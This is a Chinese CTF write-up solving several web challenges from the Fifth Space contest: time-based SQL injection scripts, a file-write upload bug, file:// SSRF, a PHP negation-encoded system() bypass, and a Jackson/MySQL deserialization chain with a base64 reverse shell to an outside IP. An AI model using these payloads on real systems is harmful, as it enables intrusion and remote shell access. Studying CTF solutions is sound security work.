第五空间web题目题解
 
0x01 美团外卖 www.zip源码泄露,审计源码,在daochu.php中存在sql注入, 
可以看到没有任何过滤,该页面不用登录也可以访问这个界面,而且也有回显。由于不知道sms和content表的列数,开始测试没有成功。
采用时间盲注,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 import  requestsimport  timeurl="http://119.3.183.154/daochu.php?"  proxies = {   		"http" : "http://127.0.0.1:8080" , 		} flag=""  for  i in  range(1 ,50 ):	high = 127  	low = 32  	mid = (low + high) // 2  	while  high > low: 		payload="type=2&imei=\" and if((ascii(mid((select group_concat(table_NAME) from information_schema.tableS where table_schema=database()),{},1))>{}),benchmark(10000000,sha(1)),0)-- -"  		payload="type=2&imei=\" and if((ascii(mid((select group_concat(column_NAME) from information_schema.columnS where table_schema=database() and table_name='admin'),{},1))>{}),benchmark(10000000,sha(1)),0)-- -"  		payload="type=2&imei=\" and if((ascii(mid((select upass admin where id >0 ),{},1))>{}),benchmark(10000000,sha(1)),0)-- -"  		url_1=url+payload.format(i,mid) 		print  url_1 		s_time=time.time() 		r=requests.get(url_1,proxies=proxies) 		e_time=time.time() 		 		if  e_time-s_time>1 : 			low=mid+1   		else : 			high=mid 		mid=(low+high)//2  	flag+=chr(mid) 	print(flag)  
 
可以得到hint表中的hints为  see_the_dir_956c110ef9decdd920249f5fed9e4427
然后访问/956c110ef9decdd920249f5fed9e4427,得到的还是登录的界面
admin表中
uname:  admin  
upass: qweasdzxc  
好像没有id字段
但是登录失败,看登录的代码逻辑
按代码中的来看,数据库中的upass应该为MD5字符串,这里就应该登不进去了。
然后继续审计代码,在lib/webuploader/0.1.5/server/preview.php看到了写文件的操作,代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 <?php $DIR = 'preview' ; if  (!file_exists($DIR)) {    @mkdir($DIR); } $cleanupTargetDir = true ;  $maxFileAge = 5  * 3600 ;  if  ($cleanupTargetDir) {    if  (!is_dir($DIR) || !$dir = opendir($DIR)) {         die ('{"jsonrpc" : "2.0", "error" : {"code": 100, "message": "Failed to open temp directory."}, "id" : "id"}' );     }     while  (($file = readdir($dir)) !== false ) {         $tmpfilePath = $DIR . DIRECTORY_SEPARATOR . $file;                  if  (@filemtime($tmpfilePath) < time() - $maxFileAge) {             @unlink($tmpfilePath);         }     }     closedir($dir); } $src = file_get_contents('php://input' ); if  (preg_match("#^data:image/(\w+);base64,(.*)$#" , $src, $matches)) {    $previewUrl = sprintf(         "%s://%s%s" ,         isset ($_SERVER['HTTPS' ]) && $_SERVER['HTTPS' ] != 'off'  ? 'https'  : 'http' ,         $_SERVER['HTTP_HOST' ],         $_SERVER['REQUEST_URI' ]     );     $previewUrl = str_replace("preview.php" , "" , $previewUrl);     $base64 = $matches[2 ];     $type = $matches[1 ];    if  ($type === 'jpeg' ||$type==='php' ) {         die ("no hacker" );              }     $filename = md5($base64).".$type" ;     $filePath = $DIR.DIRECTORY_SEPARATOR.$filename;     if  (file_exists($filePath)) {         die ('{"jsonrpc" : "2.0", "result" : "' .$previewUrl.'preview/' .$filename.'", "id" : "id"}' );     } else  {         $data = base64_decode($base64);         file_put_contents($filePath, $data);         die ('{"jsonrpc" : "2.0", "result" : "' .$previewUrl.'preview/' .$filename.'", "id" : "id"}' );     } } else  {     die ('{"jsonrpc" : "2.0", "error" : {"code": 100, "message": "un recoginized source"}}' ); } 
 
直接访问http://119.3.183.154/lib/webuploader/0.1.5/server/preview.php是404,然后将sql注入出来的956c110ef9decdd920249f5fed9e4427接到后面, 
http://119.3.183.154/956c110ef9decdd920249f5fed9e4427/lib/webuploader/0.1.5/server/preview.php 
可以访问,会将php://input输入的内容写到文件中,格式为data:image/jpg;base64,dfdgassdga(类似这种)
提示说已经有木马在e98a4571cf72b798077d12d6c94629.php
然后访问,显示getfile,尝试get传file值,可以得到flag。
赛后发现可以直接利用回显注出数据。
首先确定type为2时,sms表的列数。
有八列,然后查数据,
1 /daochu.php?type=1&imei=%22%20union%20select%201,2,hints,4,5,hints%20from%20hint--%20- 
 
0x02 do you know  
从题目逻辑上来看,这题应该是用SSRF+XXE+反序列化,但是
这里用的是$_SERVER[‘QUERY_STRING’]来获取get输入的值,可以利用url编码绕过,直接利用file协议读文件,
1 2 file:///var/www/html/index.php %66%69%6c%65%3a%2f%2f%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%69%6e%64%65%78%2e%70%68%70 
 
1 2 file:///var/www/html/xxe.php %66%69%6c%65%3a%2f%2f%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%78%78%65%2e%70%68%70 
 
依次得到
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 hints.php <?php 
 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 <?php class  A  {    public  $object;     public  $method;     public  $variable;     function  __destruct ()       {        $o = $this ->object;         $m = $this ->method;         $v = $this ->variable;         $o->$m();         global  $$v;         $answer = file_get_contents('flag.php' );         ob_end_clean();     } } class  B  {    function  read ()       {        ob_start();         global  $answer;         echo  $answer;     } } if ($_SERVER["REMOTE_ADDR" ] !== "127.0.0.1" ){die ('show me your identify' );} if  (isset ($_GET['' ])) {    unserialize($_GET['' ])->CaptureTheFlag(); } else  {     die ('you do not pass the misc' ); } 
 
可以知道flag在flag.php中,然后读flag.php。
0x03 hate-php 题目直接给了源码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php error_reporting(0 ); if (!isset ($_GET['code' ])){    highlight_file(__FILE__ ); }else {     $code = $_GET['code' ];     if  (preg_match('/(f|l|a|g|\.|p|h|\/|;|\"|\'|\`|\||\[|\]|\_|=)/i' ,$code)) {          die ('You are too good for me' );      }     $blacklist = get_defined_functions()['internal' ];     foreach  ($blacklist as  $blackitem) {          if  (preg_match ('/'  . $blackitem . '/im' , $code)) {              die ('You deserve better' );          }      }     assert($code); } 
 
用取反绕过,开始用的assert(next(getallheaders())),看网上说改UA就可以执行php代码,测试失败,可以用assert(end(getallheaders())),end直接取的是Connection,直接
1 2 3 4 5 6 7 8 (~%8F%97%8F%96%91%99%90)() phpinfo() (~%89%9E%8D%A0%9B%8A%92%8F)((~%9A%91%9B)((~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C)())) var_dump(end(getallheaders())) (~%9A%91%9B)((~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C)()) end(getallheaders()) (~%8C%86%8C%8B%9A%92)((~%9A%91%9B)((~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C)())) system(end(getallheaders())) 
 
然后
后来看到参数也可以用取反绕过。
1 2 3 4 5 6 7 8 9 <?php $a = "system" ;  echo  urlencode(~$a);echo  "\n" ;$b = "cat /flag.php" ; echo  urlencode(~$b);(~%8 C%86 %8 C%8 B%9 A%92 )(~%9 C%9 E%8 B%DF%99 %93 %9 E%98 %D1%8 F%97 %8 F) 
 
0x04 zzm’s blog  得到pom.xml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 <?xml version="1.0" encoding="UTF-8"?> <project  xmlns ="http://maven.apache.org/POM/4.0.0"           xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance"           xsi:schemaLocation ="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd" >     <modelVersion > 4.0.0</modelVersion >      <groupId > ctf</groupId >      <artifactId > web</artifactId >      <version > 1.0-SNAPSHOT</version >      <properties >          <project.build.sourceEncoding > UTF-8</project.build.sourceEncoding >          <project.reporing.outputEncoding > UTF-8</project.reporing.outputEncoding >          <maven.compiler.source > 1.8</maven.compiler.source >          <maven.compiler.target > 1.8</maven.compiler.target >      </properties >      <dependencies >          <dependency >              <groupId > com.sparkjava</groupId >              <artifactId > spark-core</artifactId >              <version > 2.9.0</version >          </dependency >          <dependency >              <groupId > org.slf4j</groupId >              <artifactId > slf4j-nop</artifactId >              <version > 1.7.30</version >          </dependency >          <dependency >              <groupId > commons-collections</groupId >              <artifactId > commons-collections</artifactId >              <version > 3.2.1</version >          </dependency >          <dependency >              <groupId > mysql</groupId >              <artifactId > mysql-connector-java</artifactId >              <version > 8.0.15</version >          </dependency >          <dependency >              <groupId > com.fasterxml.jackson.core</groupId >              <artifactId > jackson-databind</artifactId >              <version > 2.9.8</version >          </dependency >          <dependency >              <groupId > com.fasterxml.jackson.core</groupId >              <artifactId > jackson-core</artifactId >              <version > 2.9.8</version >          </dependency >          <dependency >              <groupId > com.fasterxml.jackson.core</groupId >              <artifactId > jackson-annotations</artifactId >              <version > 2.9.8</version >          </dependency >      </dependencies >      <build >          <plugins >              <plugin >                  <groupId > org.apache.maven.plugins</groupId >                  <artifactId > maven-assembly-plugin</artifactId >                  <configuration >                      <archive >                          <manifest >                              <mainClass > Blog</mainClass >                          </manifest >                      </archive >                      <descriptorRefs >                          <descriptorRef > jar-with-dependencies</descriptorRef >                      </descriptorRefs >                  </configuration >                  <executions >                      <execution >                          <id > make-assemble</id >                          <phase > package</phase >                          <goals >                              <goal > single</goal >                          </goals >                      </execution >                  </executions >              </plugin >                </plugins >      </build >  </project > 
 
使用了Jackson 2.9.9之前的Java应用,如果服务依赖了mysql-connector-java,那么这个服务所在机器上的文件,就可能被任意读取。
 
commons-collections 是3.2.1
参考https://www.jianshu.com/p/dfd6f0ac9f00 
https://github.com/fnmsd/MySQL_Fake_Server 
1 2 3 4 5 6 #DNSlog查看 {"id":["com.mysql.cj.jdbc.admin.MiniAdmin","jdbc:mysql://144.34.200.151:3306/test?autoDeserialize=true%20queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor%20user=yso_URLDNS_http://j5q6o0.dnslog.cn"]} java -cp ysoserial.jar ysoserial.exploit.JRMPListener  8888 CommonsCollections5 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNDQuMzQuMjAwLjE1MS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}' #反弹shell {"id":["com.mysql.cj.jdbc.admin.MiniAdmin","jdbc:mysql://144.34.200.151:3306/test?autoDeserialize=true%26queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor%26user=yso_CommonsCollections6_bash%20-c%20{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNDQuMzQuMjAwLjE1MS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}"]} 
 
0x05 laravel